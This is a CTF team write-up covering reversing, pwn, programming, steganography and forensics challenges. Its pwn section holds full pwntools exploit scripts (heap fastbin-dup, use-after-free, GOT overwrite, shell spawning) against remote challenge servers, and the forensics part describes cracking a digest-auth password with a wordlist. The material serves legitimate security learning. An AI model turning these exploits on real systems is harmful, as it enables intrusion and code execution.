`>>[<+<+>>-]<<[->>+<<]>[>>>>>+<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>+<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>+<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>+<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>+<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>+<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>+<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>+<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>+<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>+<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>>>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]><<<<<<<<<<<<<<<<<<<<<<<<<<,[.,]`
Obviously, it is `brainfuck`. the last part of this brainfuck string is `[.,]` which will read your input and output to your screen.
before that there a bunch of `[+]>` . It will clean the buffer.
The goal is clear now. we need to what does it put on the buffer before it remove them.
We can rewrite the brainfuck string to fulfill our requirements
The new brainfuck string will be `>>[<+<+>>-]<<[->>+<<]>[>>>>>+<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>+<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>+<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>+<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>+<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>+<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>+<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>+<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>+<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>+<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[.>]`
Now the binary will output the flag `flag{_bR41n---,[>.<],+_fxxK__}`
According to the note `Note: flag{whatyoufound}, submit ASIS{sha1(whatyoufound)}`
The true flag is `ASIS{7928cc0d0f66530a42d5d3a06f94bdc24f0492ff}`### Left or Right? (sces60107)
Just try to execute the given binary.
```$ ./right_or_left What's The Secret Key?I dont knowinvalid key:( try again```
So it seems like we need a secret key?
Then I levearaged a decompiler to reverse this binary. Unfortunately, I found that it's a `rust` binary.
I am not familar with `rust`. It's difficult to me to fully reverse it. Then I found some interesting strings like `therustlanguageisfun` and `superkeymysecretkeygivemetheflagasisctfisfun`
I try to input those strings
```$ ./right_or_left What's The Secret Key?therustlanguageisfunASIS{that_is_not_the_real_flag}$ ./right_or_left What's The Secret Key?superkey ASIS{be_noughty_step_closer_to_see_the_flag}$ ./right_or_left What's The Secret Key?mysecretkeyASIS{imagine_a_flag_in_a_watermelon_how_can_you_capture_it}```
It seems like they are all fake flag.
Now there is two ways to deal with this chellange. The way I take is finding how this binary output those fake flag.
Using `gdb` and `IDA pro`, I found that those function which will generate fake flag is located at these position.

Well, `sub_9320` seems to be a good target to analysis. Just use `gdb` and change your $rip. Then, the real flag will output to your screen
Now you have the flag `ASIS{Rust_!s_Right_i5_rust_!5_rust_but_rust_!s_no7_left}`
There is another way to capture the flag. In this way, you should find out the real secret key.
Practically, you need to locate the key-checking function.
Track those fake key. you will find out the key-checking function. It is located at `sub_83c0`
Then you can trace this function and easily get the real secret key which is `sscsfuntnguageisfunsu`### Density (sces60107)
In this challenge you will get a binary and a encrypted flag.
This chllenge is not difficult at all. The binary name is "b64pack".
You can just try base64```$ base64 short_adff30bd9894908ee5730266025ffd3787042046dd30b61a78e6cc9cadd72191 O++h+b+qcASIS++e01d+c4Nd+cGoLD+cASIS+c1De4+c4H4t+cg0e5+cf0r+cls+d++gdI++j+kM+vb++fD9W+q/Cg==```
There is string while looks like flag`ASIS++e01d+c4Nd+cGoLD+cASIS+c1De4+c4H4t+cg0e5+cf0r+cls+d++gdI++j+kM+vb++fD9W+q/Cg==`
We still need to reverse the binary. You can divide this binary into three part.
The first part:`input=randomstr+input+flag`
The second part:```pythonnewinput=""for i in input: if i in "@$_!\"#%&'()*+,-./:;<=>?\n": newinput+="+"+chr(ord('a')+"@$_!\"#%&'()*+,-./:;<=>?\n".index(i)) elif i in "[\\]^{|}~`\t": newinput+="++"+chr(ord('a')+"@$_!\"#%&'()*+,-./:;<=>?\n".index(i)) else: newinput+=i```The third part:```output=newinput.decode("base64")```
Now you know how to reconstruct the flag.The flag is `ASIS{01d_4Nd_GoLD_ASIS_1De4_4H4t_g0e5_f0r_ls!}`## pwn
### Cat (kevin47)
* I am a idiot that can't think, so I used the most hardcore way :)* Use name and kind to leak heap, libc, stack, canary* fastbin dup attack to stack twice in order to overwrite return address
```python#!/usr/bin/env python2
from pwn import *from IPython import embedimport re
context.arch = 'amd64'
r = remote('178.62.40.102', 6000)
def create(name, kind, age, nonl=0, stack=''): if name == '': r.recvrepeat(1) if stack: r.send(stack) else: r.send('0001') if name == '': r.sendlineafter('>', '') r.sendlineafter('>', '') else: r.send(name.ljust(0x16, '\x00')) r.send(kind.ljust(0x16, '\x00')) r.send(str(age).rjust(4, '0'))
def edit(idx, name, kind, age, modify, sp=1): r.send('0002') r.send(str(idx).rjust(4, '0')) if sp: r.recvrepeat(1) r.sendline(name) r.sendlineafter('>', kind) else: r.send(name.ljust(0x16, '\x00')) r.send(kind.ljust(0x16, '\x00')) r.send(str(age).rjust(4, '0')) r.send(modify.ljust(4, '\x00'))
def print_one(idx): r.recvrepeat(2) r.send('0003') r.sendlineafter('>', str(idx)) return r.recvuntil('---', drop=True)
def delete(idx): r.send('0005') r.send(str(idx).rjust(4, '0'))
create('a'*0x10, 'a'*0x10, 1)create('a'*0x10, 'a'*0x10, 1)#create('a'*0x10, 'a'*0x10, 1)create(flat(0, 0x21), flat(0, 0x21), 1)create('a'*0x10, 'a'*0x10, 1)create('a'*0x10, 'a'*0x10, 1)create('a'*0x10, 'a'*0x10, 1)delete(4)delete(5)# set ptredit(0, 'b', 'b', 2, 'n')create('', '', 1)edit(0, 'b', 'b', 2, 'n', sp=1)x = print_one(4)xx = re.findall('kind: (.*)\nold', x)[0]heap = u64(xx.ljust(8, '\x00')) - 0x180print 'heap:', hex(heap)create('a', flat(heap+0x10, heap+0x70), 1)edit(0, 'b', 'b', 2, 'n')
create(flat(0x602010), 'a', 1)x = print_one(0)xx = re.findall('name: (.*)\nkind', x)[0]#libc = u64(xx.ljust(8, '\x00')) - 0x3a6870libc = u64(xx.ljust(8, '\x00')) - 0x3e1870print 'libc:', hex(libc)
delete(6)#environ = libc + 0x38bf98environ = libc + 0x3c6f38create(flat(heap+0x10, heap+0x30), flat(environ, heap+0x30), 1)x = print_one(0)xx = re.findall('name: (.*)\nkind', x)[0]stack = u64(xx.ljust(8, '\x00'))print 'stack', hex(stack)
delete(6)canary_addr = stack - 0x100 + 1create(flat(canary_addr, heap+0x30), flat(heap+0x10, heap+0x30), 1)x = print_one(0)xx = re.findall('name: (.*)\nkind', x)[0]canary = u64('\x00'+xx[:7])print 'canary:', hex(canary)
# switch orderdelete(6)create(flat(heap+0x10, heap+0x30), flat(heap+0x10, heap+0x30), 1)
edit(0, 'b', 'b', 2, 'n')delete(1)
fake_pos = stack-0x11fprint 'fake_pos:', hex(fake_pos)create(flat(fake_pos), 'a', 1)# fake chunk on stackcreate(flat(heap+0x1b0, heap+0x210), '\x00'*7+flat(0x2100), 1, stack='1\x21\x00\x00')
# puts address on heapdelete(3)create(flat(fake_pos+0x10), flat(fake_pos+0x10), 1)
# reset fastbindelete(4)delete(0)
create(flat(heap+0x160), 'b', 1,)#raw_input("@")magic = libc + 0xf1147print 'magic:', hex(magic)r.recvrepeat(1)r.sendline('1')r.sendlineafter('>', 'AAAA')r.sendafter('>', flat(canary>>8)[:-1]+flat(0, magic))r.sendlineafter('>', '6')sleep(1)r.sendline('ls /home/pwn; cat /home/pwn/flag')
#embed()r.interactive()
# ASIS{5aa9607cca34dba443c2b757a053665179f3f85c}```
### Just_sort (kevin47)
* Simple overflow and UAF problem
```python#!/usr/bin/env python2
from pwn import *from IPython import embedfrom ctypes import *import re
context.arch = 'amd64'
r = remote('159.65.125.233', 6005)
def insert(n, s): r.sendlineafter('>', '1') r.sendlineafter('>', str(n)) r.sendafter('>', s)
def edit(h, p, s): r.sendlineafter('>', '2') r.sendlineafter('>', str(h)) r.sendlineafter('>', str(p)) r.sendafter('>', s)
def printt(): r.sendlineafter('>', '3') return r.recvuntil('---', drop=True)
def search(n, s): r.sendlineafter('>', '4') r.sendlineafter('>', str(n)) r.sendafter('>', s)
def delete(h, p): r.sendlineafter('>', '5') r.sendlineafter('>', str(h)) r.sendlineafter('>', str(p))
insert(10, 'a')insert(10, 'b')delete(1, 0)search(10, flat( [0]*3, 0x21, [0]*3, 0x21, 0, 0x602018,))x = printt()xx = re.findall('0: "(.*)"', x)[0]libc = u64(xx.ljust(8, '\x00')) - 0x844f0print 'libc:', hex(libc)system = libc+0x45390edit(1, 0, flat(system))insert(40, '/bin/sh\x00')delete(4, 0)
r.interactive()# ASIS{67d526ef0e01f2f9bdd7bff3829ba6694767f3d1}```
### message_me (kevin47)
* UAF* hijack __malloc_hook with fastbin dup attack
```python#!/usr/bin/env python2
from pwn import *from IPython import embedfrom ctypes import *import re
context.arch = 'amd64'
#r = remote('127.0.0.1', 7124)r = remote('159.65.125.233', 6003)
def add(sz, content): r.sendlineafter('choice : ', '0') r.sendlineafter('size : ', str(sz)) r.sendlineafter('meesage : ', content)
def remove(idx): r.sendlineafter('choice : ', '1') r.sendlineafter('message : ', str(idx))
def show(idx): r.sendlineafter('choice : ', '2') r.sendlineafter('message : ', str(idx)) return r.recvuntil('----', drop=True)
def change(idx): r.sendlineafter('choice : ', '3') r.sendlineafter('message : ', str(idx))
add(0x100-0x10, 'a') # 0add(100-0x10, 'a') # 1add(0x100-0x10, 'a') # 2add(100-0x10, 'a') # 3add(0x100-0x10, 'a') # 4add(100-0x10, 'a') # 5remove(0)remove(2)remove(4)x = show(2)xx = re.findall('Message : (.*)\n Message', x, re.DOTALL)[0]heap = u64(xx.ljust(8, '\x00')) - 0x2e0x = show(4)xx = re.findall('Message : (.*)\n Message', x, re.DOTALL)[0]libc = u64(xx.ljust(8, '\x00')) - 0x3c4c68print 'heap:', hex(heap)print 'libc:', hex(libc)
# fastbin dupclib = CDLL("libc.so.6")clib.srand(1)__malloc_hook = libc + 0x3c4aed#__malloc_hook = 0x602005magic = libc + 0xf02a4print 'magic:', hex(magic)add(0x70-0x10, flat( # 6 0x71,))add(0x70-0x10, flat(0x71, __malloc_hook)) # 7remove(6)remove(7)remove(6)# 6's fd += 0x10change(6)change(6)change(6)add(0x70-0x10, flat(0xdeadbeef))add(0x70-0x10, flat(0xdeadbeef))add(0x70-0x10, '\x00'*3+flat(0, magic))
# trigger malloc_printerrremove(0)remove(0)#r.sendlineafter('choice : ', '0')#r.sendlineafter('size : ', '100')
r.interactive()# ASIS{321ba5b38c9e4db97c5cc995f1451059b4e28f6a}```
### Tinypwn (kevin47)
* Use the syscall execveat
```python2#!/usr/bin/env python2
from pwn import *from IPython import embedfrom ctypes import *import re
context.arch = 'amd64'
#r = remote('127.0.0.1', 7124)r = remote('159.65.125.233', 6009)
r.send('/bin/sh\x00'.ljust(296)+flat(0x4000ed)+'\x00'*18)
r.interactive()
# ASIS{9cea1dd8873d688649e7cf738dade84a33a508fb}```
## PPC
### Neighbour (lwc)$O(log N)$```python=#!/usr/bin/env python# -*- coding: utf-8 -*-
from sage.all import *from pwn import *
def puzzle(s): import string for i in string.printable: for j in string.printable: for k in string.printable: for l in string.printable: if hashlib.sha256(i+j+k+l).hexdigest()[-6:] == s: return i+j+k+l
r = remote('37.139.22.174', 11740)
r.recvuntil('sha256(X)[-6:] = ')s = r.recv(6)r.sendline(puzzle(s))
stage = 1while True: r.recvuntil('n = ') n = Integer(r.recvline()) print 'stage %d n = ' % stage + str(n) stage += 1 ans = n - max(map(lambda i: power(Integer(floor(n.n(digits=len(str(n))).nth_root(i))), i), range(2, int(ln(n)/ln(2))+1)))
print ans r.sendline(str(ans)) r.recvuntil('To win the flag, submit r :)\n') tmp = r.recvline() print tmp if 'Great!' not in tmp: break if 'next' not in tmp: break
r.interactive()```
### The most Boring (how2hack)I used more time to understand the challenge description than solving this challenge ==Basically it wants us to give 3 different string that all consecutive k characters will not repeat. As I am familiar with pwn, I quickly think of pwntools cyclic() function. Pwntools is the best tool!
```python#!/usr/bin/env python
import itertools as itimport stringfrom hashlib import sha256import multiprocessing as mp
from pwn import *
host = '37.139.22.174'port = 56653
def check(p): if sha256(p).hexdigest()[-6:] == target: return p return None
def my_remote(ip, port, show=False): global target r = remote(ip, port) menu = r.recvuntil('Submit a printable string X, such that sha256(X)[-6:] = ', drop=True) if show: print(menu) target = r.recvline().strip() possible = string.ascii_letters+string.digits possible = it.imap(''.join, it.product(possible, repeat=4)) pool = mp.Pool(32) log.info('PoW XXXX = %s' % (target)) for c in pool.imap_unordered(check, possible, chunksize=100000): if c: log.info('Solved - %s' % c) r.sendline(c) break pool.close() return r
if __name__ == '__main__': import sys r = my_remote(host, port, show=True)
while True: r.recvuntil('k = ') k = int(r.recvline().strip()) log.info('k = ' + str(k)) r.recvuntil('send the first sequence: \n') r.sendline(cyclic(alphabet='012', n=k)) r.recvuntil('send the second sequence: \n') r.sendline(cyclic(alphabet='120', n=k)) r.recvuntil('send the third sequence: \n') r.sendline(cyclic(alphabet='201', n=k))
if k == 9: break
r.interactive()```Flag: `ASIS{67f99742bdf354228572fca52012287c}`
### Shapiro (shw)Shapiro points are lattice points that the gcd of its coordinates is 1. In this challenge, we have to construct a `k x k` grid such that none of its point is a Shapiro point.
Take `k = 3` for example, we have to decide `x, y` such that all of the following points are not Shapiro.```(x+0, y+2), (x+1, y+2), (x+2, y+2)(x+0, y+1), (x+1, y+1), (x+2, y+1)(x+0, y+0), (x+1, y+0), (x+2, y+0)```The basic idea is to assign every point a prime as a common divisor of its coordinates. We let the assigned primes be different for all points, e.g.,```x+0 = y+0 = 0 mod 2x+0 = y+1 = 0 mod 3x+0 = y+2 = 0 mod 5x+1 = y+0 = 0 mod 7... and so on```According to CRT, the congruence equation exists solutions for `x, y mod P`, where `P` is the product of all primes we had used.
Note that there would be restrictions such as `the largest y coordinate smaller than k`, or `the smallest x coordinate larger than k`. However, it's lucky for us that the two restrictions `larger` and `smaller` do not occur at the same time. Thus, we can add (or minus) `x, y` with `P` to sufficiently large (or small) to satisfy the condition.Code snippet:```pythonfrom gmpy import *
def find(k): p = next_prime(1) mod, rx, ry = [], [], [] for i in range(k): for j in range(k): mod.append(p) rx.append((p-i)%p) ry.append((p-j)%p) p = next_prime(p) return mod, rx, ry
while True: r.recvuntil('k = ') k = int(r.recvline()[:-1])
m, rx, ry = find(k) X = chinese_remainder(m, rx) Y = chinese_remainder(m, ry)
cond = r.recvline()[:-1] prod = reduce(lambda x, y: x*y, m) if 'larger' in cond: lb = int(cond.split()[-1]) q = lb/prod X += prod*(q+1) Y += prod*(q+1) elif 'smaller' in cond: q = X/prod X -= prod*(q+1) Y -= prod*(q+1)
r.sendline(get_format(X, Y, k)) data = r.recvline()[:-1] if 'please pass' not in data: break```
FLAG: `ASIS{9273b8834e4972980677627fe23d96ee}`
## misc
### Plastic (sces60107)
There is a png file. Just try `zsteg````$ zsteg plasticmeta XML:com.adobe.xmp.. text: "<x:xmpmeta xmlns:x=\"adobe:ns:meta/\" x:xmptk=\"XMP Core 5.4.0\">\n <rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\">\n <rdf:Description rdf:about=\"\"\n xmlns:exif=\"http://ns.adobe.com/exif/1.0/\"\n xmlns:tiff=\"http://ns.adobe.com/tiff/1.0/\">\n <exif:UserComment>\n <rdf:Alt>\n <rdf:li xml:lang=\"x-default\">AAAFWHjabVRfbBRFGJ/ZOeifa+m2hVJaoNf2iohQtndX9ipS29IeVuwVe/1zbfc45/bm7pbu7V5255DjaDISozExaggxSIxC+2KRqBhjCPFBQwgmPggtSnySFx98IP57ML4590dEw2w2+33fzHzz+37fbyeW0TWbStIdKCDHuvUvngi7jxPL1kwj7DZjx4hK7Vk3ttSUxsOTbmpmGgB85cLHYntFZXtHp7trx2M7H9/1RI+/78DgoWeC4zNhJarGU7pp0ym3kdX1tapqZ02TayYY6l4gOXuOf8t5p92qjm17pXZDnVjf0LhxExMYYg62jq1nFaySVbHqlc3NW1pat27b3sacrIZtYHWsnrWwVraNbWeucAzbRNcMMqWaumlNps04maIa1Uk4YxGcjukkksZJQ0toKqa8pMk4piQq1sWwupC0zKwRP1jYOGebWUslk+QE7QTlsbZ7j7N7rzQVDE0cGlKCoeLCUAarZFzcJXX3+fd5fL19/j6/S+qWJLnHI/XxIXsLrkf2eX0Sj/YCEbLaVY/X1ztXKtbAaRIumcSeKadd2if/Y4aDofEiO6Jj1fnk/qdmOV02tTQjycQjPFH/0xx+MDSWpZhXFyrOLPcPyHxfyVkbch4cHgk88Dn0QcqtWJYSmzWwLawxKq4qcVPNpolBi0jme6QMjeSxRTVVJ4vVStYmvNIFnCTz3CxgtiP5IseLri4eibsSpsVfg7qK0Yd35HHatnPpGF+ZxjRl/3+uEHzU3HyWJvyRvGZkOFJDLR2UyOouarpoLkNccc3ivOg5bmDV0jhWl5rCFlYp12t1QWajh8cuPss2XnyObWLN08FQgAO8c+T5CWdocmqa+yHtJOHEJAI6TtrcD/LCOgd2lhouiqyJbZ4eMw2smpzp2blyhqV5uWzxaOQoJ3RYUwtqwlZuKSLz4As4KjY8xHO8RP1STH5kvHNgqHTkKnEmkoUfg2ocyOCXfrLwp/oT28pTasf4mcNcrUsLctkqKDK9Vwr0uPgDWG2h05mRAGsr9fRAXoklXIOh0dCiku+V0l4l6stkbCWa7R1RomNeGXPx+5RofNyQlehonyFNECVKU96x9nZlkR+ZPR4VGx9I698al7MRuSi6wyRH4oPlq+B27uSkZZqUQVAJ6kEL6AR7gAfIYB5gkAIZkAenwevgDfAWOAPOgrfBOXAevAveAx+AS+Ay+Ah8Aj4Fn4HPwVVwDXwBboBvwC3wPfgR3Ae/Qwesg82wDXZBD4xCDFWYgjY8BV+Gr8I34Tl4Hr4PV+CH8DK8Aq/Dm/AWvAvvwfvwF/gb/EP4WvhWuC2sCd8Jd4UfhHvCz8Kvwl8IoCrkRLWoDjWhVtSButBu1IP60SAKoHl0FNnoFHoJvYbOoLPoHXQBLaNL6Aq6iq6hr9B1dAPddFQ4ahwdjh0Ov2O/Y6DUQQGWr4s8+M9wDP0NfUGwlA==</rdf:li>\n </rdf:Alt>\n </exif:UserComment>\n <tiff:Orientation>1</tiff:Orientation>\n </rdf:Description>\n </rdf:RDF>\n</x:xmpmeta>\n"```
You can notice that there is a base64-encoded string`AAAFWHjabVRfbBRFGJ/ZOeifa+m2hVJaoNf2iohQtndX9ipS29IeVuwVe/1zbfc45/bm7pbu7V5255DjaDISozExaggxSIxC+2KRqBhjCPFBQwgmPggtSnySFx98IP57ML4590dEw2w2+33fzHzz+37fbyeW0TWbStIdKCDHuvUvngi7jxPL1kwj7DZjx4hK7Vk3ttSUxsOTbmpmGgB85cLHYntFZXtHp7trx2M7H9/1RI+/78DgoWeC4zNhJarGU7pp0ym3kdX1tapqZ02TayYY6l4gOXuOf8t5p92qjm17pXZDnVjf0LhxExMYYg62jq1nFaySVbHqlc3NW1pat27b3sacrIZtYHWsnrWwVraNbWeucAzbRNcMMqWaumlNps04maIa1Uk4YxGcjukkksZJQ0toKqa8pMk4piQq1sWwupC0zKwRP1jYOGebWUslk+QE7QTlsbZ7j7N7rzQVDE0cGlKCoeLCUAarZFzcJXX3+fd5fL19/j6/S+qWJLnHI/XxIXsLrkf2eX0Sj/YCEbLaVY/X1ztXKtbAaRIumcSeKadd2if/Y4aDofEiO6Jj1fnk/qdmOV02tTQjycQjPFH/0xx+MDSWpZhXFyrOLPcPyHxfyVkbch4cHgk88Dn0QcqtWJYSmzWwLawxKq4qcVPNpolBi0jme6QMjeSxRTVVJ4vVStYmvNIFnCTz3CxgtiP5IseLri4eibsSpsVfg7qK0Yd35HHatnPpGF+ZxjRl/3+uEHzU3HyWJvyRvGZkOFJDLR2UyOouarpoLkNccc3ivOg5bmDV0jhWl5rCFlYp12t1QWajh8cuPss2XnyObWLN08FQgAO8c+T5CWdocmqa+yHtJOHEJAI6TtrcD/LCOgd2lhouiqyJbZ4eMw2smpzp2blyhqV5uWzxaOQoJ3RYUwtqwlZuKSLz4As4KjY8xHO8RP1STH5kvHNgqHTkKnEmkoUfg2ocyOCXfrLwp/oT28pTasf4mcNcrUsLctkqKDK9Vwr0uPgDWG2h05mRAGsr9fRAXoklXIOh0dCiku+V0l4l6stkbCWa7R1RomNeGXPx+5RofNyQlehonyFNECVKU96x9nZlkR+ZPR4VGx9I698al7MRuSi6wyRH4oPlq+B27uSkZZqUQVAJ6kEL6AR7gAfIYB5gkAIZkAenwevgDfAWOAPOgrfBOXAevAveAx+AS+Ay+Ah8Aj4Fn4HPwVVwDXwBboBvwC3wPfgR3Ae/Qwesg82wDXZBD4xCDFWYgjY8BV+Gr8I34Tl4Hr4PV+CH8DK8Aq/Dm/AWvAvvwfvwF/gb/EP4WvhWuC2sCd8Jd4UfhHvCz8Kvwl8IoCrkRLWoDjWhVtSButBu1IP60SAKoHl0FNnoFHoJvYbOoLPoHXQBLaNL6Aq6iq6hr9B1dAPddFQ4ahwdjh0Ov2O/Y6DUQQGWr4s8+M9wDP0NfUGwlA==`
But you cannot just use base64 decoder. There is something you need to do first.
You remove every `` in the string. Then, you can use base64 decode.
After base64decoding, you still don't know what it is.Just use `binwalk`, then you can find out that there is a zlib compressed data
The final step is decompress the data. The flag is right here```$ strings decompressed_data bplist00wxX$versionX$objectsY$archiverT$top!"#$%&'()*+189=AGHNOWX\_cdhlostU$null WNS.keysZNS.objectsV$class XbaselineUcolorTmodeUtitleXpreamble]magnificationTdate_backgroundColorZsourceText#./0UNSRGB\NSColorSpaceO*0.9862459898 0.007120999973 0.027434000752345Z$classnameX$classesWNSColor67WNSColorXNSObject:;<YNS.string23>?_NSMutableString>@7XNSStringCDEFXNSString\NSAttributes\documentclass[10pt]{article}\usepackage[usenames]{color} %used for font color\usepackage{amssymb} %maths\usepackage{amsmath} %maths\usepackage[utf8]{inputenc} %useful to type directly diacritic charactersVNSFontSTUVVNSSizeXNSfFlagsVNSName#@(VMonaco23YZVNSFont[7VNSFont23]^\NSDictionary23`a_NSAttributedStringNSAttributedString#@BfgWNS.time#A23ijVNSDatek7VNSDatem/0F1 1 1CpEF={\bf ASIS}\{50m3\_4pps\_u5E\_M37adat4\_dOn7\_I9n0Re\_th3M!!\}23uv_NSMutableDictionaryu]7_NSKeyedArchiveryzTroot
```
The flag is `ASIS{50m3_4pps_u5E_M37adat4_dOn7_I9n0Re_th3M!!}`
## forensic
### Trashy Or Classy (sces60107 bookgin)
In this forensic challenge you will get a pcap file.
In this pcap file you will notice that someone trying to connet to the website which is located at `http://167.99.233.88/`
It's a compilicated challenge. I will try to make a long story short.
This challenge can be divided into three steps.
#### first stepIn the first step, you will find an interest file from pcap which is `flag.caidx`
Just google the extension, you will see a github repo [casync](https://github.com/systemd/casync)
You also notice the `flag.caidx` is located at `http://167.99.233.88/private/flag.caidx`
There is also a suspicious direcory which is `http://167.99.233.88/private/flag.castr`
But you need the username and password for the authentication.
#### second step
The username can be found in the pcap file. It's `admin`
But we still need password. Then, you can find out that the authentication is [Digest access authentication](https://en.wikipedia.org/wiki/Digest_access_authentication)
You have everything you need to crack the password now. Just download rockyou.txt and launch a dictionary attack.
It's won't take too much time to crack the password.
Finally, the password is `rainbow`
#### third step
Now you can login and download the `flag.caidx`.
But you still cannot list `flag.castr`
You may need to install `casync`
